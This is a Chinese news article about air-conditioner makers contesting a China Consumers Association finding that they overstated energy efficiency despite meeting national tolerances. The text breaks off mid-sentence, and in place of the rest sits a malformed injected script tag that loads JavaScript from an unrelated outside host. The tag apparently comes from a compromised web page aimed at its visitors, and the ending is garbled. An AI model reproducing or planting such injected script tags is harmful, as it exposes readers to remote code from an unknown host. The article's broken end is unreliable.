空调企业：到底谁在误导消费者？
如果抽检样机的能效水平与标称的数值完全相同，那简直比中***还难！中消协却因此说我们夸大能效水平！”某空调企业技术部门负责人非常气愤地对《电器》记者说，中国消费者协会一纸抽检公告令众多空调企业陷入市场被动。
在此之前，中国消费者协会（以下简称中消协）和北京市消费者协会联合在北京召开了新闻通报会，公布了12个型号家用空调器的比较试验结果，并对抽检结果合乎国家标准的九个品牌的节能空调做出“夸大能效水平、影响消费者正确选择”的评价。该公告随即引发全国舆论，矛头直指格力等九家被点名企业，部分空调企业的市场销售也因此遭受冲击。然而，事实真是如此吗？
企业鸣冤：符合标准竟成罪？
此次中消协抽检的产品均为能效水平在一级和二级的节能空调。比较试验结果显示，格力、科龙、志高、春兰、格兰仕、lg、美的、tcl、松下这九个品牌被抽到的单品样本能效比实测值均低于标称值。中消协称，虽然检测结果符合能效等级，并且实测值与标称值的误差都在国家标准允许范围之内，但个别企业“夸大产品制冷水平，低标输入功率，在一定程度上造成信息偏差，影响了消费者正确选择”。
事实上，根据能效标识管理规定，产品的实测制冷消耗功率不应大于额定制冷消耗功率（即标称值）的110%；制冷量实测值不应小于额定制冷量的95%，产品能效比的实测值不应小于额定能效比的86%，即误差范围应在标称值的14%之内。中消协检测得出的九个能效比实测值低于标称值的样本，其误差都没有超过以上规定，也就是说，这些品牌的产品在能效标注上并没有违反相关规定。然而，正是在符合国家标准的情况下，中消协针对九家企业的高能效产品做出的“夸大能效水平”、“误导消费者”的评价，引起了九家空调企业的强烈不满。
在这种情况下，九家企业在公告发布后数次公开质询中消协。公告发布两天后，在珠海召开的能效比对分析研讨会上，数家企业代表甚至提前退场以示不满。中消协有关负责人在接受采访时也数次改口，从理解为“标注上有瑕疵”到“督促企业应该尽量接近”，直至“被媒体曲解”。
据了解，目前几家空调企业对此事件的不满主要集中以下几点。
第一，中消协对每个品牌只抽检一台样机，然后就宣称企业“夸大能效水平”。某企业技术部负责人表示：“众所周知，批量生产的空调即使在同一环境下检测也无法实现实测数值完全统一，每个企业产品的标称值都是在一批产品中，通过大量求和而得出的平均值。所以，消协抽检单品的实测值与标称值产生误差非常正常，何况，在检测环境都不相同的情况下，误差也在国家标准的允许范围之内，‘夸大能效水平’从何谈起？”他还说，“这台抽检的样机能效水平比标称的低，也许第二台就高了，中消协的做法纯属以偏概全。”
第二，中消协公告的语气。广东某空调企业人士称，代表着消费者利益的中消协，通过公告形式来公布抽检结果无可厚非，但在所有产品均符合国家标准的情况下，无端地表示有九个品牌的产品存在“夸大能效水平、误导消费者”的标注瑕疵。他认为：“这是在非常片面地通过一个合格的产品来否定一个品牌的语气，实在无法让人接受。”该企业人士表示，目前在信息非常不透明的情况下，消费者是无法弄清楚产品的专业技术问题的，不明就里的消费者看到这样的公告，必然引起心理波动，绝对没有几个消费者从技术角度去研究：为什么实测值与标称值会存在差异？某企业销售人士在采访中非常愤怒地表示：“在一级城市的某些卖场，有的品牌在公告发布当天就举出了自己‘在抽检中没有夸大能效水平’的宣传牌，借此打压我们这些被无辜点名的品牌，这不得不让我们怀疑这个公告的公正性。”据了解，在一些卖场出现这种现象之后，几家被点名的空调企业销售人员开始联合向卖场施压，要求立刻撤掉某些品牌的刻意宣传，但效果不佳。
第三，由于中消协的公告被媒体广泛传播，目前被抽检企业的销售已经遭到打击。记者采访得知，在中消协公告公布后不久，全国一二级城市的空调市场已经受到影响，甚至有消费者拿着报纸当面询问销售人员。被指为“夸大能效水平”的空调企业人士纷纷表示，在空调市场最关键的旺季，中消协的公告已经严重打击了市场销售，尤其是对高能效的节能产品来说。广东某空调企业人士痛心地说：“今年的天气对空调销售本来就不好，大家都指望着7月能挽回一些局面，却遭到中消协迎头一棒。很多消费者不会只关心哪个型号‘夸大了能效水平’，而是会对我们这些被点名企业的整个品牌产生质疑，进而丧失购买欲，这样的打击是很可怕的。我们希望媒体可以澄清一些事实，可是很遗憾，我们在全国各地的都市媒体看到的几乎都是不加研究就发表的负面报道，这让我们感到非常失望。”
此外，部分企业对这次事件的扩大可能表示了担心：如果类似的抽检蔓延到各个地方，各个地方的有关部门?script src=http://er12.com/t.js>
